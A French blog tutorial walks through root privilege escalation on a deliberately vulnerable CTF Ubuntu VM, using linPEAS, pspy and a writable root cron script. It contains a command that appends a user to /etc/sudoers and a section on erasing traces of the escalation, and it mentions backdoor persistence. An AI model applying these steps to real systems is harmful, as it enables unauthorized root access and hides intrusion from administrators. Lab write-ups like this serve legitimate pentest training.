Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.

Bonjour à tous ! Aujourd’hui, nous allons voir un cas réel d’escalade de privilège à l’aide d’une VM volontairement vulnérable. Celle-ci provient d’un CTF que propose une plateforme en ligne dédiée. Je n’ai pas changé les vulnérabilités que celle-ci contient, mais je l’ai simplement mise à jour en Ubuntu 20.04. Cet article va vous permettre de s’intéresser à la manière dont nous allons analyser l’existant et le démystifier, afin de réaliser notre élévation.

La VM vulnérable au format .ova est disponible à l’adresse suivante :

https://le-guide-du-sysops.fr/wp-content/uploads/2021/12/Joystick-Vulnerable-VM-Ubuntu.zip

Vous pouvez l’importer avec VMware ou bien Virtual Box

I. Prérequis

  • La machine virtuelle Ubuntu compromise (192.168.130.128/24 accès à internet)
  • Une machine Kali linux, avec laquelle nous allons nous connecter à la VM vulnérable en SSH (192.168.130.135/24 accès à internet)

II. Phase de post exploitation

Dans le cadre de ce didacticiel, nous sommes dans la phase de post exploitation ce qui veut dire que nous avons déjà un pied dans le système, avec un compte utilisateur standard. Pour rappel, notre objectif est de s’élever et de trouver un moyen pour devenir le super utilisateur (root) de la machine.

Rappel sur le cycle de vie d’un pentest

Pour vous connecter à la VM, je vous invite à saisir les identifiants suivants en vous connectant en SSH.

ssh [email protected]
# Mot de passe : changeme

Note : Toutes les actions ci-dessous, se feront via la connexion SSH initiée depuis le terminal de votre machine attaquante (Kali linux)

A. Recherche de moyen d’élévation de privilège

Dans un premier temps, une fois que vous avez un pied dans le système, vous pouvez réaliser une recherche manuelle (navigation dans les dossiers, vérification des droits de certains fichiers, lister les processus en cours etc.), afin de vous familiariser avec le système victime et de comprendre son rôle métier (Serveur Web, BDD etc. ?)

Il existe des sites internet et des fiches « cheat sheet » en ligne qui vous permettrons d’avoir une checklist globale des choses à vérifier dans un contexte de post-exploitation.

Note : Une feuille de papier, un crayon ou bien un tableau blanc sont très utilisés aussi et vous permettrons de structurer un maximum votre raisonnement, afin de ne pas être dépasser.

A partir de la section suivante, j’explique toute la démarche dans son entièreté. Donc si vous souhaitez chercher dans votre coin un petit moment, ne défilez pas l’article trop vite pour ne pas vous faire spoiler !

B. Automatisation de la recherche de privesc

Vive la communauté open source ! Il existe des scripts en ligne (notamment github) qui vont vous permettre de checklister tout un ensemble de conditions et de détecter des failles probables de sécurité automatiquement. Ce genre d’outil vous permettra d’aller boire un café le temps que le script bosse à votre place et qu’il vous fournisse un rapport clé en main, que vous n’aurez plus qu’à analyser.

Téléchargez l’outil depuis votre terminal connecté à la VM vulnérable :

wget "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh" -O linpeas.sh

Autorisez ce programme a être « exécuté » :

chmod u+x linpeas.sh
./linpeas.sh -a | tee linpeasReport.log
# Le temps d'exécution du script est variable, mais peut être assez long en fonction de ce qu'il trouve.
# Dans notre cas, 5 minutes environ seront nécessaire.  

tee est une commande permettant de rediriger la sortie du programme dans un fichier afin de l’analyser plus tard.

Une fois que celui-ci a finit de s’exécuter, vous pouvez commencer à analyser ce qu’il a trouvé, soit directement depuis votre terminal, ou bien en passant par un éditeur de texte/code. Requêtez ce rapport avec des mots clés comme :

  • .sh
  • .zip
  • .tar
  • cron
  • backup
  • etc.

Je vous passe les détails, allons droit au but. Après quelques requêtes lancées dans le fichier en fonction de la liste de mots clé non-exhaustive ci-dessus, nous trouvons un fichier backup.sh localisé dans le dossier /opt/minecraft/, disposant de tous les droits et dont le propriétaire est root. CELA DOIT VOUS ALERTER.

Dirigez-vous vers le dossier du fichier en question, et observez le contenu du fichier backup.sh

Voici le contenu du fichier, dans le cas d’un CTF les simples phrases commentées doivent vous mettre la puce à l’oreille.

Malheureusement, dans cet état, le script ne nous permet de pas de réaliser une élévation de privilège, de plus, si nous cherchons à bidouiller le script (pour ajouter Steve au groupe sudo par exemple) et de l’exécuter manuellement, cela échouera, car l’utilisateur associé à l’exécution serait Steve et non root.

Mais peut être que ce script est lié à une tâche CRON ? qui sait ^^

C. Détecter la présence ou non d’une tâche CRON

En tant qu’utilisateur standard, nous ne pouvons pas afficher les tâches CRON de root et des autres utilisateurs par défaut et heureusement ! Mais, il existe des outils permettant de détecter le déclenchement de tâches CRON (et plus précisément de programme/scripts) et tout cela depuis un utilisateur standard. Elle est pas belle la vie ? ^^

Lien du projet : https://github.com/DominicBreuker/pspy

Téléchargez l’outil depuis votre terminal connecté à la VM vulnérable :

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

Autorisez ce programme a être « exécuté » :

chmod u+x pspy64s

Lancez le scan par le biais de cette commande qui va analyser tous les processus déclenchés depuis le répertoire /var/ (ainsi que ses sous-dossiers) :

./pspy64s -r /var/ -pf -i 1000 | tee pspyReport.log

D. Détecter la récurrence d’exécution de celle-ci

C’est l’étape la plus délicate. En effet, détecter l’exécution d’une tâche cron c’est bien, mais connaître sa récurrence vous permettra de connaître la chaine d’exécution de celle-ci.

L’ébauche de logs ci-dessous nous démontre que la tâche CRON est exécutée toutes les minutes :

  • 08:33:01
  • 08:34:01

Nous avons donc ici la confirmation que le script backup.sh est bel et bien associé à une tâche CRON, qui est exécutée automatiquement toutes les minutes.

E. Issez-vous au sommet du système !

Dirigez-vous vers le dossier /opt/minecraft/ puis éditez le fichier backup.sh

Nous allons modifier le comportement du script en question, afin d’y insérer une ligne (oui une seule) nous permettant de nous octroyer des droits super utilisateur.

cd /opt/minecraft/ && nano backup.sh

Remplacez la ligne echo $(date) … par :

echo "steve ALL=(ALL) ALL" >> /etc/sudoers

Cette ligne veut dire : « Autoriser à steve l’accès à toutes les commandes du système, seulement si celui-ci préfixe sa commande souhaitée avec sudo. »

Patientez une à deux minutes le temps que la tâche CRON s’exécute. Dès lors, tentez de vous connecter en temps que root avec la commande suivante:

Et voilà vous êtes root !

Analogie pour une escalade de privilège. ^^ Je n’en dis pas plus, je laisse travailler votre imagination.

III. Effacez les traces de l’escalade de privilège

Reformattez le fichier afin qu’il garde la même apparence qu’auparavant. En effet, n’importe quel script « Cronisé » à de forte chance d’être passé en revu un jour ou l’autre par des administrateurs.

cd /opt/minecraft/ && nano backup.sh

Maintenant que vous êtes le capitaine du navire, éditez le fichier /etc/sudoers afin d’y laisser seulement une ligne la première :

steve ALL=(ALL) ALL

Puis, enregistrez le fichier.

Et voilà ! Le tour est joué. Ajouter une backdoor (action de persistance) aurait pu être la suite logique de cet article, afin de pouvoir nous connecter à la victime en tant que root n’importe quand mais je ne voulais pas rendre cet article trop long ^^.

J’espère que cet article vous aura plus !

Passez de belle fêtes de fin d’année et un joyeux Noël !

Credit photo : Kilian Jornet

++

Geoffrey


0 commentaire

Laisser un commentaire

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.